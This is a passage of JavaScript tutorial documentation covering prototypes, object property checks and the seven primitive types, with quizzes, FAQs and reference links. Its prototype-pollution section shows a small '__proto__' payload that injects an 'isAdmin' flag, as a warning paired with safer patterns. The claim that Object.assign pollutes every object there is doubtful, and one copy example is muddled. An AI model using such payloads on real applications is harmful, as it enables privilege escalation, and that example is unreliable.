"value" } const obj = Object.create(proto) obj.own1 = "a" obj.own2 = "b" // Object.keys() — only own enumerable properties console.log(Object.keys(obj)) // ["own1", "own2"] // for...in — own AND inherited enumerable properties for (const key in obj) { console.log(key) // "own1", "own2", "inherited" } // Filter for...in to only own properties for (const key in obj) { if (obj.hasOwnProperty(key)) { console.log(key) // "own1", "own2" } } ``` ### Object.getOwnPropertyNames() — All Own Properties ```javascript const obj = { visible: true } Object.defineProperty(obj, "hidden", { value: "secret", enumerable: false }) // Object.keys() — only enumerable console.log(Object.keys(obj)) // ["visible"] // Object.getOwnPropertyNames() — all own properties console.log(Object.getOwnPropertyNames(obj)) // ["visible", "hidden"] ``` ### Summary Table | Method | Own? | Enumerable? | Inherited? | |--------|------|-------------|------------| | `obj.hasOwnProperty(key)` | Yes | Both | No | | `key in obj` | Yes | Both | Yes | | `Object.keys(obj)` | Yes | Yes only | No | | `Object.getOwnPropertyNames(obj)` | Yes | Both | No | | `for...in` | Yes | Yes only | Yes | --- ## The Prototype Pitfall: Common Mistakes ### Mistake 1: Modifying Object.prototype ```javascript // ❌ NEVER do this! Object.prototype.greet = function() { return "Hello!" } // Now EVERY object has greet() const player = { name: "Alice" } const numbers = [1, 2, 3] const date = new Date() console.log(player.greet()) // "Hello!" console.log(numbers.greet()) // "Hello!" console.log(date.greet()) // "Hello!" // This can break for...in loops for (const key in player) { console.log(key) // "name", "greet" — greet shows up! } // And cause conflicts with libraries ``` <Warning> **Never modify `Object.prototype`!** It affects every object in your application and can break third-party code. If you need to add methods to all objects of a type, create your own constructor or class. </Warning> ### Mistake 2: Confusing `.prototype` with `[[Prototype]]` ```javascript function Player(name) { this.name = name } const alice = new Player("Alice") // ❌ WRONG — instances don't have .prototype console.log(alice.prototype) // undefined // ✓ CORRECT — use Object.getPrototypeOf() console.log(Object.getPrototypeOf(alice) === Player.prototype) // true // .prototype is ONLY on functions console.log(Player.prototype) // { constructor: Player } ``` ### Mistake 3: Prototype Pollution [Prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution) occurs when attackers can modify `Object.prototype`, affecting all objects. This is a real security vulnerability: ```javascript // ❌ DANGEROUS - merging untrusted data can pollute prototypes const maliciousPayload = JSON.parse('{"__proto__": {"isAdmin": true}}') const user = {} Object.assign(user, maliciousPayload) // Pollution via Object.assign! // Now ALL objects have isAdmin! const anotherUser = {} console.log(anotherUser.isAdmin) // true - polluted! // ✓ SAFER - use null prototype objects for dictionaries const safeDict = Object.create(null) safeDict["__proto__"] = "safe" // Just a regular property, no pollution // ✓ SAFEST - use Map for key-value storage with untrusted keys const map = new Map() map.set("__proto__", "value") // Completely safe ``` <Warning> **Prototype pollution attacks** can occur through `Object.assign()`, object spread (`{...obj}`), deep merge utilities, and JSON parsing. Always sanitize untrusted input and consider using `Object.create(null)` or `Map` for user-controlled keys. </Warning> ### Mistake 4: Shared Reference on Prototype ```javascript // ❌ WRONG — array on prototype is shared by all instances function Player(name) { this.name = name } Player.prototype.inventory = [] // Shared by ALL players! const alice = new Player("Alice") const bob = new Player("Bob") alice.inventory.push("sword") console.log(bob.inventory) // ["sword"] — Bob has Alice's sword! // ✓ CORRECT — initialize arrays in constructor function Player(name) { this.name = name this.inventory = [] // Each player gets their own array } ``` --- ## Key Takeaways <Info> **Key things to remember about prototypes and object creation:** 1. **Every object has a prototype** — a hidden link (`[[Prototype]]`) to another object, forming a chain that ends at `null` 2. **Property lookup walks the chain** — JavaScript searches the object first, then its prototype, then the prototype's prototype, and so on 3. **`[[Prototype]]` vs `.prototype`** — `[[Prototype]]` is the internal link every object has; `.prototype` is a property on functions used with `new` 4. **Use `Object.getPrototypeOf()`** — not `__proto__`, which is deprecated 5. **`Object.create(proto)`** — creates an object with a specific prototype; pass `null` for no prototype 6. **The `new` operator does 4 things** — creates object, links prototype, runs constructor with `this`, returns the object 7. **`Object.assign()` is shallow** — nested objects are copied by reference, not cloned 8. **`hasOwnProperty()` vs `in`** — `hasOwnProperty` checks only the object; `in` checks the whole prototype chain 9. **Never modify `Object.prototype`** — it affects all objects and can break code 10. **Put methods on the prototype** — for memory efficiency, don't define methods in the constructor </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What is the prototype chain and how does property lookup work?"> **Answer:** The prototype chain is JavaScript's inheritance mechanism. Every object has a `[[Prototype]]` link to another object (its prototype). When you access a property: 1. JavaScript looks for it on the object itself 2. If not found, looks on the object's prototype 3. Continues up the chain until found or `null` is reached ```javascript const parent = { greet: "Hello" } const child = Object.create(parent) console.log(child.greet) // "Hello" — found on prototype console.log(child.missing) // undefined — not found anywhere ``` </Accordion> <Accordion title="Question 2: What's the difference between [[Prototype]], __proto__, and .prototype?"> **Answer:** - **`[[Prototype]]`**: The internal slot every object has, pointing to its prototype. Not directly accessible. - **`__proto__`**: A deprecated getter/setter that exposes `[[Prototype]]`. Use `Object.getPrototypeOf()` instead. - **`.prototype`**: A property that exists **only on functions**. When you use `new`, the created object's `[[Prototype]]` is set to this value. ```javascript function Foo() {} const f = new Foo() // f's [[Prototype]] is Foo.prototype Object.getPrototypeOf(f) === Foo.prototype // true // Foo is a function, so it has .prototype Foo.prototype // { constructor: Foo } // f is NOT a function, so it has no .prototype f.prototype // undefined ``` </Accordion> <Accordion title="Question 3: What are the 4 steps the new keyword performs?"> **Answer:** When you call `new Constructor(args)`: 1. **Create** a new empty object `{}` 2. **Link** the object's `[[Prototype]]` to `Constructor.prototype` 3. **Execute** the constructor with `this` bound to the new object 4. **Return** the object (unless the constructor returns a different object) ```javascript function myNew(Constructor, ...args) { const obj = Object.create(Constructor.prototype) // Steps 1-2 const result = Constructor.apply(obj, args) // Step 3 return (typeof result === 'object' && result !== null) ? result : obj // Step 4 } ``` </Accordion> <Accordion title="Question 4: How does Object.create() differ from using new?"> **Answer:** - **`Object.create(proto)`** creates an object with the specified object as its prototype. It doesn't call any constructor. - **`new Constructor()`** creates an object with `Constructor.prototype` as its prototype AND runs the constructor function. ```javascript const proto = { greet() { return "Hi!" } } // Object.create — just links the prototype const obj1 = Object.create(proto) // new — links prototype AND runs constructor function MyClass() { this.initialized = true } MyClass.prototype = proto const obj2 = new MyClass() console.log(obj2.initialized) // true (constructor ran) console.log(obj1.initialized) // undefined (no constructor) ``` </Accordion> <Accordion title="Question 5: Why should you avoid modifying Object.prototype?"> **Answer:** Modifying `Object.prototype` affects **every object** in your application because all objects inherit from it. This can: 1. Break `for...in` loops (new properties show up) 2. Conflict with third-party libraries 3. Cause unexpected behavior throughout your codebase ```javascript // ❌ BAD Object.prototype.bad = "affects everything" const obj = {} for (const key in obj) { console.log(key) // "bad" — unexpected! } ``` Instead, create your own constructors/classes or use composition. </Accordion> <Accordion title="Question 6: What's the difference between Object.assign() shallow copy and deep copy?"> **Answer:** **Shallow copy**: Copies the top-level properties. Nested objects/arrays are copied by reference (they point to the same data). **Deep copy**: Recursively copies all levels. Nested objects/arrays are fully cloned. ```javascript const original = { name: "Alice", scores: [90, 85] // nested array } // Shallow copy with Object.assign const shallow = Object.assign({}, original) shallow.scores.push(100) console.log(original.scores) // [90, 85, 100] — modified! // Deep copy with structuredClone const deep = structuredClone(original) deep.scores.push(100) console.log(original.scores) // [90, 85, 100] — still modified from before // But if we had deep copied first, original would be unchanged ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the prototype chain in JavaScript?"> The prototype chain is JavaScript's inheritance mechanism. Every object has an internal `[[Prototype]]` link to another object. When you access a property, JavaScript looks on the object first, then follows the chain of prototypes until it finds the property or reaches `null`. As described in the ECMAScript specification, this delegation model is what powers all object inheritance in JavaScript. </Accordion> <Accordion title="What is the difference between __proto__ and prototype?"> `__proto__` is an accessor property on every object that points to its prototype (the object it inherits from). `.prototype` is a property on constructor functions that becomes the `__proto__` of objects created with `new`. According to MDN, `__proto__` is a legacy feature — use `Object.getPrototypeOf()` and `Object.setPrototypeOf()` instead. </Accordion> <Accordion title="How does Object.create() work?"> `Object.create(proto)` creates a new object with its `[[Prototype]]` set to the specified object. Unlike `new`, it does not call a constructor function. This gives you direct control over the prototype chain. It is the cleanest way to set up prototypal inheritance without the complexity of constructor functions. </Accordion> <Accordion title="What does the new operator do in JavaScript?"> The `new` operator performs four steps: creates an empty object, sets the object's `[[Prototype]]` to the constructor's `.prototype`, calls the constructor with `this` bound to the new object, and returns the object. If the constructor explicitly returns an object, that object is returned instead. This is how both constructor functions and classes create instances. </Accordion> <Accordion title="What is prototypal inheritance and how is it different from classical inheritance?"> In prototypal inheritance, objects inherit directly from other objects through the prototype chain. In classical inheritance (Java, C++), classes define blueprints and instances are created from those blueprints. JavaScript uses prototypal delegation, meaning an object delegates property lookups to its prototype. The `class` syntax in ES6 is syntactic sugar over this prototype-based model. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Factories and Classes" icon="industry" href="/concepts/factories-classes"> Learn different patterns for creating objects using factories and ES6 classes </Card> <Card title="this, call, apply, bind" icon="hand-pointer" href="/concepts/this-call-apply-bind"> Understand how `this` binding works, which is crucial when working with constructors </Card> <Card title="Inheritance and Polymorphism" icon="sitemap" href="/concepts/inheritance-polymorphism"> Explore advanced inheritance patterns and polymorphism in JavaScript </Card> <Card title="Primitives vs Objects" icon="copy" href="/concepts/primitives-objects"> Understand the difference between primitives and objects, key background for prototypes </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Inheritance and the Prototype Chain — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain"> Comprehensive MDN guide to JavaScript's prototype-based inheritance </Card> <Card title="Object.create() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create"> Official documentation on creating objects with specific prototypes </Card> <Card title="Object.assign() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign"> How to copy properties between objects </Card> <Card title="new operator — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"> What happens when you use the new keyword </Card> <Card title="Object.getPrototypeOf() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf"> How to read an object's prototype </Card> <Card title="instanceof — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof"> Checking prototype chain membership </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="A Beginner's Guide to JavaScript's Prototype" icon="newspaper" href="https://www.freecodecamp.org/news/a-beginners-guide-to-javascripts-prototype/"> Uses a "meal recipe" analogy that makes prototype inheritance click for visual learners. The step-by-step diagrams showing object relationships are particularly helpful. </Card> <Card title="Understanding Prototypes in JavaScript" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/understanding-prototypes-and-inheritance-in-javascript"> Walks through building a full inheritance hierarchy from scratch with runnable examples. Great for developers who learn by building rather than reading theory. </Card> <Card title="Object-Oriented JavaScript" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects"> MDN's learning path covering object basics, prototypes, and classes. Includes hands-on exercises and a practical project to solidify your understanding. </Card> <Card title="The Prototype Chain Explained" icon="newspaper" href="https://javascript.info/prototype-inheritance"> Includes interactive code examples you can edit and run in the browser. The "tasks" section at the end tests your understanding with practical challenges. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Prototypes Explained" icon="video" href="https://www.youtube.com/watch?v=riDVvXZ_Kb4"> MPJ's signature whiteboard diagrams make the prototype chain visible and intuitive. His "delegation, not copying" explanation is how prototypes finally click for many developers. </Card> <Card title="Object.create and Prototypes" icon="video" href="https://www.youtube.com/watch?v=MACDGu96wrA"> Kyle Simpson (author of "You Don't Know JS") challenges common misconceptions about prototypes. His "behavior delegation" framing offers a clearer mental model than classical inheritance. </Card> <Card title="The new Keyword Explained" icon="video" href="https://www.youtube.com/watch?v=Y3zzCY62NYc"> Steps through each of the 4 things `new` does with live code demonstrations. Shows exactly what happens to `this` and prototype links during object construction. </Card> </CardGroup> ================================================ FILE: docs/concepts/primitive-types.mdx ================================================ --- title: "Primitive Types" sidebarTitle: "Primitive Types: Building Blocks of Data" description: "Learn JavaScript's 7 primitive types: string, number, bigint, boolean, undefined, null, and symbol. Understand immutability, typeof quirks, and autoboxing." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "JavaScript Fundamentals" "article:tag": "javascript primitive types, js data types, typeof javascript, string number boolean, javascript undefined null, symbol bigint" --- What's the difference between `"hello"` and `{ text: "hello" }`? Why can you call `"hello".toUpperCase()` if strings aren't objects? And why does `typeof null` return `"object"`? ```javascript // JavaScript has exactly 7 primitive types const str = "hello"; // string const num = 42; // number const big = 9007199254740993n; // bigint const bool = true; // boolean const undef = undefined; // undefined const nul = null; // null const sym = Symbol("id"); // symbol console.log(typeof str); // "string" console.log(typeof num); // "number" console.log(typeof nul); // "object" — Wait, what?! ``` These seven **[primitive](https://developer.mozilla.org/en-US/docs/Glossary/Primitive)** types are the foundation of all data in JavaScript. Unlike objects, primitives are **immutable** (unchangeable) and **compared by value**. Every complex structure you build (arrays, objects, classes) ultimately relies on these simple building blocks. <Info> **What you'll learn in this guide:** - The 7 primitive types in JavaScript and when to use each - How `typeof` works (and its famous quirks) - Why primitives are "immutable" and what that means - The magic of autoboxing — how `"hello".toUpperCase()` works - The difference between `null` and `undefined` - Common mistakes to avoid with primitives - Famous JavaScript gotchas every developer should know </Info> <Note> **New to JavaScript?** This guide is beginner-friendly! No prior knowledge required. We'll explain everything from the ground up. </Note> --- ## What Are Primitive Types? In JavaScript, a **primitive** is data that is not an object and has no methods of its own. As defined by the ECMAScript 2024 specification (ECMA-262), JavaScript has exactly **7 primitive types**: | Type | Example | Description | |------|---------|-------------| | `string` | `"hello"` | Text data | | `number` | `42`, `3.14` | Numeric data (integers and decimals) | | `bigint` | `9007199254740993n` | Very large integers | | `boolean` | `true`, `false` | Logical values | | `undefined` | `undefined` | No value assigned | | `null` | `null` | Intentional absence of value | | `symbol` | `Symbol("id")` | Unique identifier | ### Three Key Characteristics All primitives share these fundamental traits: <AccordionGroup> <Accordion title="1. Immutable - Values Cannot Be Changed"> Once a primitive value is created, it cannot be altered. When you "change" a string, you're actually creating a new string. ```javascript let name = "Alice"; name.toUpperCase(); // Creates "ALICE" but doesn't change 'name' console.log(name); // Still "Alice" ``` </Accordion> <Accordion title="2. Compared By Value"> When you compare two primitives, JavaScript compares their actual values, not where they're stored in memory. ```javascript let a = "hello"; let b = "hello"; console.log(a === b); // true - same value let obj1 = { text: "hello" }; let obj2 = { text: "hello" }; console.log(obj1 === obj2); // false - different objects! ``` </Accordion> <Accordion title="3. No Methods (But Autoboxing Magic)"> Primitives don't have methods, but JavaScript automatically wraps them in objects when you try to call methods. This is called "autoboxing." ```javascript "hello".toUpperCase(); // Works! JS wraps "hello" in a String object ``` We'll explore this magic in detail later. </Accordion> </AccordionGroup> --- ## The Atoms vs Molecules Analogy Think of data in JavaScript like chemistry class (but way more fun, and no lab goggles required). **Primitives** are like atoms: the fundamental, indivisible building blocks that cannot be broken down further. **Objects** are like molecules: complex structures made up of multiple atoms combined together. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PRIMITIVES VS OBJECTS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ PRIMITIVES (Atoms) OBJECTS (Molecules) │ │ │ │ ┌───┐ ┌─────┐ ┌──────┐ ┌────────────────────────────┐ │ │ │ 5 │ │"hi" │ │ true │ │ { name: "Alice", age: 25 } │ │ │ └───┘ └─────┘ └──────┘ └────────────────────────────┘ │ │ │ │ • Simple, indivisible • Complex, contains values │ │ • Stored directly • Stored as reference │ │ • Compared by value • Compared by reference │ │ • Immutable • Mutable │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Just like atoms are the foundation of all matter, primitives are the foundation of all data in JavaScript. Every complex data structure you create — arrays, objects, functions — is ultimately built on top of these simple primitive values. --- ## The 7 Primitive Types: Deep Dive Let's explore each primitive type in detail. --- ### String A **[string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)** represents text data: a sequence of characters. ```javascript // Three ways to create strings let single = 'Hello'; // Single quotes let double = "World"; // Double quotes let backtick = `Hello World`; // Template literal (ES6) ``` #### Template Literals (Still Just Strings!) [Template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) (backticks) are **not a separate type**. They're just a more powerful syntax for creating strings. The result is still a regular string primitive: ```javascript let name = "Alice"; let age = 25; // String interpolation - embed expressions let greeting = `Hello, ${name}! You are ${age} years old.`; console.log(greeting); // "Hello, Alice! You are 25 years old." console.log(typeof greeting); // "string" — it's just a string! // Multi-line strings let multiLine = ` This is line 1 This is line 2 `; console.log(typeof multiLine); // "string" ``` #### Strings Are Immutable You cannot change individual characters in a string: ```javascript let str = "hello"; str[0] = "H"; // Does nothing! No error, but no change console.log(str); // Still "hello" // To "change" a string, create a new one str = "H" + str.slice(1); console.log(str); // "Hello" ``` <Tip> String methods like `toUpperCase()`, `slice()`, `replace()` always return **new strings**. They never modify the original. </Tip> --- ### Number JavaScript has only **one [number](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number) type** for both integers and decimals. All numbers are stored as 64-bit floating-point (a standard way computers store decimals). ```javascript let integer = 42; // Integer let decimal = 3.14; // Decimal let negative = -10; // Negative let scientific = 2.5e6; // 2,500,000 (scientific notation) ``` #### Special Number Values ```javascript console.log(1 / 0); // Infinity console.log(-1 / 0); // -Infinity console.log("hello" * 2); // NaN (Not a Number) ``` JavaScript has special number values: [`Infinity`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity) for values too large to represent, and [`NaN`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN) (Not a Number) for invalid mathematical operations. #### The Famous Floating-Point Problem ```javascript console.log(0.1 + 0.2); // 0.30000000000000004 console.log(0.1 + 0.2 === 0.3); // false! Welcome to JavaScript! ``` This isn't a JavaScript bug — it follows the IEEE 754 double-precision floating-point standard used by virtually all modern programming languages. The decimal `0.1` cannot be perfectly represented in binary. <Warning> **Working with money?** Never use floating-point for calculations! Store amounts in cents as integers, then use JavaScript's built-in [`Intl.NumberFormat`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat) for display. ```javascript // Bad: floating-point errors in calculations let price = 0.1 + 0.2; // 0.30000000000000004 // Good: calculate in cents, format for display let priceInCents = 10 + 20; // 30 (calculation is accurate!) // Use Intl.NumberFormat to display as currency const formatter = new Intl.NumberFormat('en-US', { style: 'currency', currency: 'USD', }); console.log(formatter.format(priceInCents / 100)); // "$0.30" // Works for any locale and currency! const euroFormatter = new Intl.NumberFormat('de-DE', { style: 'currency', currency: 'EUR', }); console.log(euroFormatter.format(1234.56)); // "1.234,56 €" ``` </Warning> <Tip> `Intl.NumberFormat` is built into JavaScript. No external libraries needed! It handles currency symbols, decimal separators, and locale-specific formatting automatically. </Tip> #### Safe Integer Range JavaScript can only safely represent integers up to a certain size: ```javascript console.log(Number.MAX_SAFE_INTEGER); // 9007199254740991 (2^53 - 1) console.log(Number.MIN_SAFE_INTEGER); // -9007199254740991 ``` [`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER) is the largest integer that can be safely represented. Beyond this range, precision is lost: ```javascript // Beyond this range, precision is lost console.log(9007199254740992 === 9007199254740993); // true! (wrong!) ``` For larger integers, use `BigInt`. --- ### BigInt **[BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt)** (ES2020) represents integers larger than `Number.MAX_SAFE_INTEGER`. ```javascript // Add 'n' suffix to create a BigInt let big = 9007199254740993n; let alsoBig = BigInt("9007199254740993"); console.log(big + 1n); // 9007199254740994n (correct!) ``` #### BigInt Rules ```javascript // Cannot mix BigInt and Number let big = 10n; let regular = 5; // console.log(big + regular); // TypeError! // Must convert explicitly console.log(big + BigInt(regular)); // 15n console.log(Number(big) + regular); // 15 ``` <Note> **When to use BigInt:** Cryptography, precise timestamps, database IDs, any calculation requiring integers larger than 9 quadrillion. </Note> --- ### Boolean **[Boolean](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean)** has exactly two values: `true` and `false`. ```javascript let isLoggedIn = true; let hasPermission = false; // From comparisons let isAdult = age >= 18; // true or false let isEqual = name === "Alice"; // true or false ``` #### Truthy and Falsy When used in boolean contexts (like `if` statements), all values are either "truthy" or "falsy": ```javascript // Falsy values (only 8!) false 0 -0 0n // BigInt zero "" // Empty string null undefined NaN // Everything else is truthy "hello" // truthy 42 // truthy [] // truthy (empty array!) {} // truthy (empty object!) ``` ```javascript // Convert any value to boolean let value = "hello"; let bool = Boolean(value); // true let shortcut = !!value; // true (double negation trick) ``` <Tip> Learn more about how JavaScript converts between types in the [Type Coercion](/concepts/type-coercion) section. </Tip> --- ### undefined **[`undefined`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)** means "no value has been assigned." JavaScript uses it automatically in several situations: ```javascript // 1. Declared but not assigned let x; console.log(x); // undefined // 2. Missing function parameters function greet(name) { console.log(name); // undefined if called without argument } greet(); // 3. Function with no return statement function doNothing() { // no return } console.log(doNothing()); // undefined // 4. Accessing non-existent object property let person = { name: "Alice" }; console.log(person.age); // undefined ``` <Tip> Don't explicitly assign `undefined` to variables. Use `null` instead to indicate "intentionally empty." </Tip> --- ### null **[`null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null)** means "intentionally empty". You're explicitly saying "this has no value." ```javascript // Intentionally clearing a variable let user = { name: "Alice" }; user = null; // User logged out, clearing the reference // Indicating no result function findUser(id) { // ... search logic ... return null; // User not found } ``` #### The Famous typeof Bug ```javascript console.log(typeof null); // "object" — Wait, what?! ``` Yes, really. This is one of JavaScript's most famous quirks! It's a historical mistake from JavaScript's first implementation in 1995. It was never fixed because too much existing code depends on it. ```javascript // How to properly check for null let value = null; console.log(value === null); // true (use strict equality) ``` --- ### Symbol **[Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)** (ES6) creates unique identifiers. According to MDN, Symbol was the first new primitive type added to JavaScript since its creation in 1995. Even symbols with the same description are different. ```javascript let id1 = Symbol("id"); let id2 = Symbol("id"); console.log(id1 === id2); // false — always unique! console.log(id1.description); // "id" (the description) ``` #### Use Case: Unique Object Keys ```javascript const ID = Symbol("id"); const user = { name: "Alice", [ID]: 12345 // Symbol as property key }; console.log(user.name); // "Alice" console.log(user[ID]); // 12345 // Symbol keys don't appear in normal iteration console.log(Object.keys(user)); // ["name"] — ID not included ``` #### Well-Known Symbols JavaScript has built-in symbols for customizing object behavior: ```javascript // Symbol.iterator - make an object iterable // Symbol.toStringTag - customize Object.prototype.toString // Symbol.toPrimitive - customize type conversion ``` These are called [well-known symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol#well-known_symbols) and allow you to customize how objects behave with built-in operations. <Note> Symbols are an advanced feature. As a beginner, focus on understanding that they exist and create unique values. You'll encounter them when diving into advanced patterns and library code. </Note> --- ## The typeof Operator The [`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof) operator returns a string indicating the type of a value. ```javascript console.log(typeof "hello"); // "string" console.log(typeof 42); // "number" console.log(typeof 42n); // "bigint" console.log(typeof true); // "boolean" console.log(typeof undefined); // "undefined" console.log(typeof Symbol()); // "symbol" console.log(typeof null); // "object" ⚠️ (bug!) console.log(typeof {}); // "object" console.log(typeof []); // "object" console.log(typeof function(){}); // "function" ``` ### typeof Results Table | Value | typeof Result | Notes | |-------|---------------|-------| | `"hello"` | `"string"` | | | `42` | `"number"` | | | `42n` | `"bigint"` | | | `true` / `false` | `"boolean"` | | | `undefined` | `"undefined"` | | | `Symbol()` | `"symbol"` | | | `null` | `"object"` | Historical bug! | | `{}` | `"object"` | | | `[]` | `"object"` | Arrays are objects | | `function(){}` | `"function"` | Functions are special | ### Better Type Checking Since `typeof` has quirks, here are more reliable alternatives: ```javascript // Check for null specifically let value = null; if (value === null) { console.log("It's null"); } // Check for arrays Array.isArray([1, 2, 3]); // true Array.isArray("hello"); // false // Get precise type with Object.prototype.toString Object.prototype.toString.call(null); // "[object Null]" Object.prototype.toString.call([]); // "[object Array]" Object.prototype.toString.call(new Date()); // "[object Date]" ``` [`Array.isArray()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray) is the reliable way to check for arrays, since `typeof []` returns `"object"`. For more complex type checking, [`Object.prototype.toString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString) gives precise type information. --- ## Immutability Explained **Immutable** means "cannot be changed." Primitive values are immutable. You cannot alter the value itself. ### Seeing Immutability in Action ```javascript let str = "hello"; // These methods don't change 'str' — they return NEW strings str.toUpperCase(); // Returns "HELLO" console.log(str); // Still "hello"! // To capture the new value, you must reassign str = str.toUpperCase(); console.log(str); // Now "HELLO" ``` ### Visual: What Happens in Memory ``` BEFORE str.toUpperCase(): ┌─────────────────┐ │ str → "hello" │ (original string) └─────────────────┘ AFTER str.toUpperCase() (without reassignment): ┌─────────────────┐ │ str → "hello" │ (unchanged!) └─────────────────┘ ┌─────────────────┐ │ "HELLO" │ (new string, not captured, garbage collected) └─────────────────┘ AFTER str = str.toUpperCase(): ┌─────────────────┐ │ str → "HELLO" │ (str now points to new string) └─────────────────┘ ``` ### Common Misconception: const vs Immutability `const` prevents **reassignment**, not mutation. These are different concepts! ```javascript // const prevents reassignment const name = "Alice"; // name = "Bob"; // Error! Cannot reassign const // But const doesn't make objects immutable const person = { name: "Alice" }; person.name = "Bob"; // Works! Mutating the object person.age = 25; // Works! Adding a property // person = {}; // Error! Cannot reassign const // Primitives are immutable regardless of const/let let str = "hello"; str[0] = "H"; // Silently fails — can't mutate primitive ``` <Tip> Think of it this way: `const` protects the **variable** (the container). Immutability protects the **value** (the content). </Tip> --- ## Autoboxing: The Secret Life of Primitives If primitives have no methods, how does `"hello".toUpperCase()` work? ### The Magic Behind the Scenes When you access a property or method on a primitive, JavaScript temporarily wraps it in an object: <Steps> <Step title="You Call a Method on a Primitive"> ```javascript "hello".toUpperCase() ``` </Step> <Step title="JavaScript Creates a Wrapper Object"> Behind the scenes, JavaScript does something like: ```javascript (new String("hello")).toUpperCase() ``` </Step> <Step title="Method Executes and Returns"> The `toUpperCase()` method runs and returns `"HELLO"`. </Step> <Step title="Wrapper Object Is Discarded"> The temporary `String` object is thrown away. The original primitive `"hello"` is unchanged. </Step> </Steps> ### Wrapper Objects Each primitive type (except `null` and `undefined`) has a corresponding wrapper object: | Primitive | Wrapper Object | |-----------|----------------| | `string` | `String` | | `number` | `Number` | | `boolean` | `Boolean` | | `bigint` | `BigInt` | | `symbol` | `Symbol` | ### Don't Use new String() etc. You can create wrapper objects manually, but **don't**: ```javascript // Don't do this! let strObj = new String("hello"); console.log(typeof strObj); // "object" (not "string"!) console.log(strObj === "hello"); // false (object vs primitive) // Do this instead let str = "hello"; console.log(typeof str); // "string" ``` <Warning> Using `new String()`, `new Number()`, or `new Boolean()` creates **objects**, not primitives. This can cause confusing bugs with equality checks and typeof. </Warning> --- ## null vs undefined These two "empty" values confuse many developers. Here's how they differ: <Tabs> <Tab title="Side-by-Side Comparison"> | Aspect | `undefined` | `null` | |--------|-------------|--------| | **Meaning** | "No value assigned yet" | "Intentionally empty" | | **Set by** | JavaScript automatically | Developer explicitly | | **typeof** | `"undefined"` | `"object"` (bug) | | **In JSON** | Omitted from output | Preserved as `null` | | **Default params** | Triggers default | Doesn't trigger default | | **Loose equality** | `null == undefined` is `true` | | | **Strict equality** | `null === undefined` is `false` | | </Tab> <Tab title="When JavaScript Uses undefined"> ```javascript // 1. Uninitialized variables let x; console.log(x); // undefined // 2. Missing function arguments function greet(name) { console.log(name); } greet(); // undefined // 3. No return statement function noReturn() {} console.log(noReturn()); // undefined // 4. Non-existent properties let obj = {}; console.log(obj.missing); // undefined // 5. Array holes let arr = [1, , 3]; console.log(arr[1]); // undefined ``` </Tab> <Tab title="When to Use null"> ```javascript // 1. Explicitly "clearing" a value let user = { name: "Alice" }; user = null; // User logged out // 2. Function returning "no result" function findUser(id) { // Search logic... return null; // Not found } // 3. Optional object properties let config = { cache: true, timeout: null // Explicitly no timeout }; // 4. Resetting references let timer = setTimeout(callback, 1000); clearTimeout(timer); timer = null; // Clear reference ``` </Tab> </Tabs> ### Best Practices ```javascript // Check for either null or undefined (loose equality) if (value == null) { console.log("Value is null or undefined"); } // Check for specifically undefined if (value === undefined) { console.log("Value is undefined"); } // Check for specifically null if (value === null) { console.log("Value is null"); } // Check for "has a value" (not null/undefined) if (value != null) { console.log("Value exists"); } ``` --- ## The #1 Primitive Mistake: Using Wrapper Constructors The most common mistake developers make with primitives is using `new String()`, `new Number()`, or `new Boolean()` instead of literal values. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PRIMITIVES VS WRAPPER OBJECTS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WRONG WAY RIGHT WAY │ │ ───────── ───────── │ │ new String("hello") "hello" │ │ new Number(42) 42 │ │ new Boolean(true) true │ │ │ │ typeof new String("hi") → "object" typeof "hi" → "string" │ │ new String("hi") === "hi" → false "hi" === "hi" → true │ │ │ 